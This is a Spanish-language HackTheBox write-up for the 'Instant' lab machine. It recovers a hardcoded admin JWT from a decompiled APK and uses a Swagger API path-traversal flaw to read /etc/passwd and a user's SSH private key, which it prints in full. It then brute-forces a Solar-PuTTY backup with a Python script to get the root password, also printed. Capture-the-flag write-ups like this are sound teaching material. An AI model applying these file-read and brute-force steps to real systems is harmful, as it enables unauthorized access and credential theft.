Instant – HackTheBox Link to heading
- OS: Linux
- Difficulty / Dificultad: Medium / Media
- Platform / Plataforma: HackTheBox
Resumen Link to heading
“Instant” es una máquina de dificultad Media de la plataforma HackTheBox
. La máquina víctima corre un servidor web que expone un archivo .apk
(Android
) el cual filtra un Jason Web Token
con privilegios. Este token nos permite entrar a una interfaz web de Swagger UI
para administrar APIs. Una API es vulnerable a Local File Inclusion
, la cual nos permite leer archivos de sistema; entre ellas una key de SSH
la cual nos permite ganar acceso inicial a la máquina víctima. Una vez dentro, somos capaces de encontrar un archivo de PuTTY
encriptado. A través de fuerza bruta, somos capaces de desencriptar este archivo y leer su contenido; lo cual filtra la contraseña para el usuario root
, permitiéndonos escalar privilegios.
User / Usuario Link to heading
Empezamos con un rápido escaneo con Nmap
para obtener puertos TCP
abiertos en la máquina víctima:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn
El escaneo muestra sólo 2 puertos abiertos: 22
SSH
y 80
HTTP
. Aplicando algunos escaneos de reconocimiento con la flag -sVC
sobre estos puertos obtenemos:
❯ sudo nmap -sVC -p22,80 10.10.11.37
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-20 19:44 -03
Nmap scan report for 10.10.11.37
Host is up (0.30s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_ 256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://instant.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.95 second
Del output del escaneo podemos ver que el sitio HTTP
redirige a http://instant.htb
. Por ende, agregamos este dominio a nuestro archivo /etc/hosts
ejecutando en una terminal:
❯ echo '10.10.11.37 instant.htb' | sudo tee -a /etc/hosts
Una vez agregado, visitamos http://instant.htb
en un navegador de internet. Podemos ver una página web como la siguiente:
Vemos que podemos descargar un archivo web con el botón Download Now!
localizado en la parte superior derecha. Poniendo el mouse sobre este botón y aplicando un poco de “hovering” podemos ver que éste descarga un archivo .apk
. Lo descargamos clickeando en el botón. Una vez descargado verificamos que es un archivo Android package
(APK
):
❯ file instant.apk
instant.apk: Android package (APK), with gradle app-metadata.properties, with APK Signing Block
Luego de buscar un poco acerca de cómo analizar este archivo, encontramos una herramienta bastante popular entre la gente que analiza apps de Android
llamado JADX
, el cual puede ser descargado desde su repositorio de Github.
JADX
are command line interface (CLI
) and GUI tools for producing Java
source code from Android
Dex
and Apk
files.Descargamos el ejecutable de JADX
a través de un archivo comprimido .zip
y lo descomprimimos:
❯ wget https://github.com/skylot/jadx/releases/download/v1.5.0/jadx-1.5.0.zip
❯ unzip jadx-1.5.0.zip
Luego de descomprimirlo, vamos al directorio bin
y corremos el binario jadx
para decompilar el archivo .apk
descargado:
❯ ./jadx -d decompiled_files ../../../content/instant.apk
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
INFO - loading ...
INFO - processing ...
ERROR - finished with errors, count: 13
Obtenemos algunos errores, pero no pasa nada; podemos seguir. Básicamente lo que esta herramienta hace es decompilar el archivo instant.apk
y almacena todos los archivos descomprimidos en el directorio que he decido llamar, en mi caso, decompiled_files
.
Dentro de este directorio generado, tenemos otros 2 directorios los cuales contienen los archivos decompilados:
❯ ls -la decompiled_files
total 16
drwxrwxr-x 4 gunzf0x gunzf0x 4096 Oct 20 20:15 .
drwxr-xr-x 3 gunzf0x gunzf0x 4096 Oct 20 20:15 ..
drwxrwxr-x 8 gunzf0x gunzf0x 4096 Oct 20 20:15 resources
drwxrwxr-x 11 gunzf0x gunzf0x 4096 Oct 20 20:15 sources
Ambas carpetas contienen demasiados archivos. Por ello, para filtrar por resultados interesantes, usamos grep
y buscamos por strings interesantes como password
:
❯ grep -r "password" decompiled_files
grep: decompiled_files/resources/classes.dex: binary file matches
decompiled_files/resources/res/values-in/strings.xml: <string name="password_toggle_content_description">Tampilkan sandi</string>
decompiled_files/resources/res/values-lv/strings.xml: <string name="password_toggle_content_description">Rādīt paroli</string>
decompiled_files/resources/res/values-gl/strings.xml: <string name="password_toggle_content_description">Mostra o contrasinal</string>
decompiled_files/resources/res/values/strings.xml: <string name="forgot_password">Forgot Password</string>
<SNIP>
Pero no podemos ver ninguna contraseña ni en texto claro ni hasheada.
Si buscamos por instant.htb
con grep
vemos información interesante:
❯ grep -r "instant.htb" decompiled_files
grep: decompiled_files/resources/classes.dex: binary file matches
decompiled_files/resources/res/layout/activity_forgot_password.xml: android:text="Please contact support@instant.htb to have your account recovered"
decompiled_files/resources/res/xml/network_security_config.xml: <domain includeSubdomains="true">mywalletv1.instant.htb
decompiled_files/resources/res/xml/network_security_config.xml: <domain includeSubdomains="true">swagger-ui.instant.htb
decompiled_files/sources/com/instantlabs/instant/RegisterActivity.java: new OkHttpClient().newCall(new Request.Builder().url("http://mywalletv1.instant.htb/api/v1/register").post(RequestBody.create(MediaType.parse("application/json"), jsonObject.toString())).build()).enqueue(new Callback() { // from class: com.instantlabs.instant.RegisterActivity.3
decompiled_files/sources/com/instantlabs/instant/ProfileActivity.java: new OkHttpClient().newCall(new Request.Builder().url("http://mywalletv1.instant.htb/api/v1/view/profile").addHeader("Authorization", accessToken).build()).enqueue(new Callback() { // from class: com.instantlabs.instant.ProfileActivity.1
decompiled_files/sources/com/instantlabs/instant/LoginActivity.java: new OkHttpClient().newCall(new Request.Builder().url("http://mywalletv1.instant.htb/api/v1/login").post(RequestBody.create(MediaType.parse("application/json"), jsonObject.toString())).build()).enqueue(new Callback() { // from class: com.instantlabs.instant.LoginActivity.4
decompiled_files/sources/com/instantlabs/instant/TransactionActivity.java: new OkHttpClient().newCall(new Request.Builder().url("http://mywalletv1.instant.htb/api/v1/initiate/transaction").addHeader("Authorization", str4).post(RequestBody.create(MediaType.parse("application/json"), jsonObject.toString())).build()).enqueue(new AnonymousClass2(str5, str4));
decompiled_files/sources/com/instantlabs/instant/TransactionActivity.java: new OkHttpClient().newCall(new Request.Builder().url("http://mywalletv1.instant.htb/api/v1/confirm/pin").header("Authorization", this.val$access_token).post(RequestBody.create(MediaType.parse("application/json"), jsonObject.toString())).build()).enqueue(new Callback() { // from class: com.instantlabs.instant.TransactionActivity.2.2
decompiled_files/sources/com/instantlabs/instant/AdminActivities.java: new OkHttpClient().newCall(new Request.Builder().url("http://mywalletv1.instant.htb/api/v1/view/profile").addHeader("Authorization", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA").build()).enqueue(new Callback() { // from class: com.instantlabs.instant.AdminActivities.1
Encontramos dos (2) cosas interesantes aquí:
- Dos (2) subdominios (
mywalletv1.instant.htb
yswagger-ui.instant.htb
). - Un
Jason Web Token
(JWT
).
Vamos a https://jwt.io/ y ponemos el contenido del JWT
encontrado:
Este es un JWT
para el usuario Admin
. Del output previamente mostrado por grep
, este token está siendo enviado a la url/API http://mywalletv1.instant.htb/api/v1/view/profile
.
Agregamos estos dos nuevos subdominios a nuestro archivo /etc/hosts
, de manera que este archivo ahora se ve como:
❯ tail -n 1 /etc/hosts
10.10.11.37 instant.htb mywalletv1.instant.htb swagger-ui.instant.htb
Una vez agregado, vemos si tenemos accesso a la API usando cURL
:
❯ curl -I 'http://mywalletv1.instant.htb/api/v1/view/profile'
HTTP/1.1 401 UNAUTHORIZED
Date: Sun, 20 Oct 2024 23:33:46 GMT
Server: Werkzeug/3.0.3 Python/3.12.3
Content-Type: application/json
Content-Length: 45
Como esperábamos, no tenemos acceso ya que no estamos usando un JWT
para autenticarnos.
Pasamos entonces el JWT
encontrado con cURL
:
❯ curl -I -b "Authorization=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" 'http://mywalletv1.instant.htb/api/v1/view/profile'
HTTP/1.1 401 UNAUTHORIZED
Date: Sun, 20 Oct 2024 23:36:19 GMT
Server: Werkzeug/3.0.3 Python/3.12.3
Content-Type: application/json
Content-Length: 45
y también viendo su contenido en formato JSON
:
❯ curl -I -H 'accept: application/json' -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" 'http://mywalletv1.instant.htb/api/v1/view/profile'
HTTP/1.1 500 INTERNAL SERVER ERROR
Date: Sun, 20 Oct 2024 23:37:50 GMT
Server: Werkzeug/3.0.3 Python/3.12.3
Content-Type: text/html; charset=utf-8
Content-Length: 265
Connection: close
Pero ninguno de ellos funciona.
Luego, decidimos ver si alguno de los nuevos subdominios agregados tiene una página web HTTP
. Visitando http://swagger-ui.instant.htb
funciona. El sitio redirige a http://swagger-ui.instant.htb/apidocs/
, donde podemos ver una página web:
El sitio está corriendo Swagger UI
:
Swagger UI
is a web-based interface that provides information about a service and allows users to test API
endpoints.Tenemos muchas APIs con las que jugar.
Si, por ejemplo, clickeamos en la primera /api/v1/admin/add/user
y luego clickeamos en Try it out
podemos ver las respuestas (responses):
Obtenemos el mensaje Unauthorized
, por lo que no tenemos permisos para solicitar estas APIs.
En la parte superior de la página podemos ver un botón Authorize
. Clickeamos en éste y, como valor, pasamos el JWT
filtrado en el archivo .apk
:
Clickeamos en Authorize
.
Ahora los request a las APIs funcionan (ya no muestran el mensaje Unauthorized
):
Pero obtenemos el mensaje Internal Server Error
. Esto puede deberse a que el usuario con el que estamos testeando ya existe:
Podemos ver que hay una API llamada /api/v1/admin/read/log
la cual pregunta por un archivo para leer. Para ver si esta API es vulnerable a Local File Inclusion
(LFI
), pasamos como argumento ../../../../../../../etc/passwd
:
y como respuesta obtenemos:
Esta API es vulnerable a LFI
.
Al leer el archivo /etc/passwd
, podemos ver que existe un usuario llamado shirohige
. Dado que el servicio SSH
estaba corriendo en la máquina víctima, podemos pasar como “log file” (argumento) la ruta del archivo id_rsa
para SSH
(rezando que ésta exista) para este usuario. Este archivo debería de estar localizado en la ruta /home/shirohige/.ssh/id_rsa
, de manera que pasamos como argumento ../../../../../../../home/shirohige/.ssh/id_rsa
y como respuesta obtenemos:
Luego de limpiar un poco el output obtenido de la página web, obtenemos el archivo id_rsa
que es una key de SSH
:
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
Guardamos esta key en nuestra máquina de atacantes como shirohige_id_rsa
.
Una vez guardada, le asignamos permisos de ejecución a aquel archivo:
❯ chmod 600 shirohige_id_rsa
Podemos usar esta key de SSH
para ganar acceso a la máquina víctima:
❯ ssh -i shirohige_id_rsa shirohige@10.10.11.37
The authenticity of host '10.10.11.37 (10.10.11.37)' can't be established.
ED25519 key fingerprint is SHA256:r+JkzsLsWoJi57npPp0MXIJ0/vVzZ22zbB7j3DWmdiY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.37' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-45-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
shirohige@instant:~$ whoami
shirohige
Podemos obtener la flag de usuario en el directorio /home
de este usuario.
Root Link to heading
En la ruta /opt
podemos ver un directorio backups
:
shirohige@instant:~$ ls -la /opt
total 12
drwxr-xr-x 3 root root 4096 Oct 4 15:22 .
drwxr-xr-x 23 root root 4096 Oct 4 15:26 ..
drwxr-xr-x 3 shirohige shirohige 4096 Oct 4 15:22 backups
Dentro de éste tenemos un directorio Solar-PuTTY
, y dentro de este directorio tenemos un archivo con extensión .dat
:
shirohige@instant:~$ ls -la /opt/backups/Solar-PuTTY/
total 12
drwxr-xr-x 2 shirohige shirohige 4096 Oct 4 15:22 .
drwxr-xr-x 3 shirohige shirohige 4096 Oct 4 15:22 ..
-rw-r--r-- 1 shirohige shirohige 1100 Sep 30 11:38 sessions-backup.dat
Leyendo este archivo muestra:
shirohige@instant:~$ cat /opt/backups/Solar-PuTTY/sessions-backup.dat
ZJlEkpkqLgj2PlzCyLk4gtCfsGO2CMirJoxxdpclYTlEshKzJwjMCwhDGZzNRr0fNJMlLWfpbdO7l2fEbSl/OzVAmNq0YO94RBxg9p4pwb4upKiVBhRY22HIZFzy6bMUw363zx6lxM4i9kvOB0bNd/4PXn3j3wVMVzpNxuKuSJOvv0fzY/ZjendafYt1Tz1VHbH4aHc8LQvRfW6Rn+5uTQEXyp4jE+ad4DuQk2fbm9oCSIbRO3/OKHKXvpO5Gy7db1njW44Ij44xDgcIlmNNm0m4NIo1Mb/2ZBHw/MsFFoq/TGetjzBZQQ/rM7YQI81SNu9z9VVMe1k7q6rDvpz1Ia7JSe6fRsBugW9D8GomWJNnTst7WUvqwzm29dmj7JQwp+OUpoi/j/HONIn4NenBqPn8kYViYBecNk19Leyg6pUh5RwQw8Bq+6/OHfG8xzbv0NnRxtiaK10KYh++n/Y3kC3t+Im/EWF7sQe/syt6U9q2Igq0qXJBF45Ox6XDu0KmfuAXzKBspkEMHP5MyddIz2eQQxzBznsgmXT1fQQHyB7RDnGUgpfvtCZS8oyVvrrqOyzOYl8f/Ct8iGbv/WO/SOfFqSvPQGBZnqC8Id/enZ1DRp02UdefqBejLW9JvV8gTFj94MZpcCb9H+eqj1FirFyp8w03VHFbcGdP+u915CxGAowDglI0UR3aSgJ1XIz9eT1WdS6EGCovk3na0KCz8ziYMBEl+yvDyIbDvBqmga1F+c2LwnAnVHkFeXVua70A4wtk7R3jn8+7h+3Evjc1vbgmnRjIp2sVxnHfUpLSEq4oGp3QK+AgrWXzfky7CaEEEUqpRB6knL8rZCx+Bvw5uw9u81PAkaI9SlY+60mMflf2r6cGbZsfoHCeDLdBSrRdyGVvAP4oY0LAAvLIlFZEqcuiYUZAEgXgUpTi7UvMVKkHRrjfIKLw0NUQsVY4LVRaa3rOAqUDSiOYn9F+Fau2mpfa3c2BZlBqTfL9YbMQhaaWz6VfzcSEbNTiBsWTTQuWRQpcPmNnoFN2VsqZD7d4ukhtakDHGvnvgr2TpcwiaQjHSwcMUFUawf0Oo2+yV3lwsBIUWvhQw2g=
Es un archivo para PuTTY
.
PuTTY
is a free and open-source terminal emulator, serial console and network file transfer application. It supports several network protocols as SSH
among others.En corto, es un programa que se usa para conexiones SSH
(principalmente en Windows
).
Para desencriptar el contenido de este archivo podemos usar la herramienta SolarPuttyDecrypt
. El único “problema” yace en que ésta está sólo disponible para Windows
. Descargamos esta herramienta desde su repositorio de Github y extraemos los contenidos del archivo .zip
. Basados en la documentación de SolarPuttyDecrypt, para desenriptar el archivo sólo debemos ejecutar:
SolarPuttyDecrypt.exe C:\Users\test\file.dat <password>
en una terminal.
PuTTY
puramente desde una máquina Linux
.En una máquina de atacante con Windows
, creamos un simple script de Python
el cual va probando, a través de fuerza bruta, desencriptar el archivo de PuTTY
usando el diccionario rockyou.txt
junto con el binario de SolarPuttyDecrypt
:
import subprocess
# Files to execute (all located in the same directory, otherwise specify paths)
exe_path = "SolarPuttyDecrypt.exe"
data_file = "sessions-backup.dat"
passwords_file = "rockyou.txt"
# Open the list of passwords in rockyou.txt dictionary
with open(passwords_file, "r") as file:
for password in file:
password = password.strip() # Remove any extra newlines or spaces
# Execute the command to decrypt the file
print(f"[+] Attempting with password: {password}", end="\r")
result = subprocess.run([exe_path, data_file, password], capture_output=True)
# Check the exit status code. If it is 0, break the loop
if result.returncode == 0:
print()
print(f"[+] Password found: {password}")
break
else:
print("[-] Password not found")
Ejecutando este script, y luego de un rato, obtenemos:
C:\Users\gunzf0x\Desktop\Pentesting\SolarPuttyDecrypt> python .\PuTTY_decryptor.py
[+] Attempting with password: estrella
[+] Password found: estrella
Tenemos una contraseña para este archivo: estrella
.
Subsecuentemente, simplemente ejecutamos SolarPuttyDecrypt.exe
en nuestra máquina de atacante Windows
de nuevo, usando esta vez la contraseña encontrada por el script:
C:\Users\gunzf0x\Desktop\Pentesting\SolarPuttyDecrypt>.\SolarPuttyDecrypt.exe sessions-backup.dat estrella
-----------------------------------------------------
SolarPutty's Sessions Decrypter by VoidSec
-----------------------------------------------------
{
"Sessions": [
{
"Id": "066894ee-635c-4578-86d0-d36d4838115b",
"Ip": "10.10.11.37",
"Port": 22,
"ConnectionType": 1,
"SessionName": "Instant",
"Authentication": 0,
"CredentialsID": "452ed919-530e-419b-b721-da76cbe8ed04",
"AuthenticateScript": "00000000-0000-0000-0000-000000000000",
"LastTimeOpen": "0001-01-01T00:00:00",
"OpenCounter": 1,
"SerialLine": null,
"Speed": 0,
"Color": "#FF176998",
"TelnetConnectionWaitSeconds": 1,
"LoggingEnabled": false,
"RemoteDirectory": ""
}
],
"Credentials": [
{
"Id": "452ed919-530e-419b-b721-da76cbe8ed04",
"CredentialsName": "instant-root",
"Username": "root",
"Password": "12**24nzC!r0c%q12",
"PrivateKeyPath": "",
"Passphrase": "",
"PrivateKeyContent": null
}
],
"AuthScript": [],
"Groups": [],
"Tunnels": [],
"LogsFolderDestination": "C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"
}
Obtenemos credenciales para el usuario root
en el archivo: root:12**24nzC!r0c%q12
.
De vuelta a la máquina víctima con nuestra sesión por medio de SSH
, revisamos si esta contraseña funciona para el usuario root
:
shirohige@instant:~$ su root
Password: 12**24nzC!r0c%q12
root@instant:/home/shirohige# whoami
root
Funcionó. GG. Podemos leer la flag de root
en el directorio /root
.
~Happy Hacking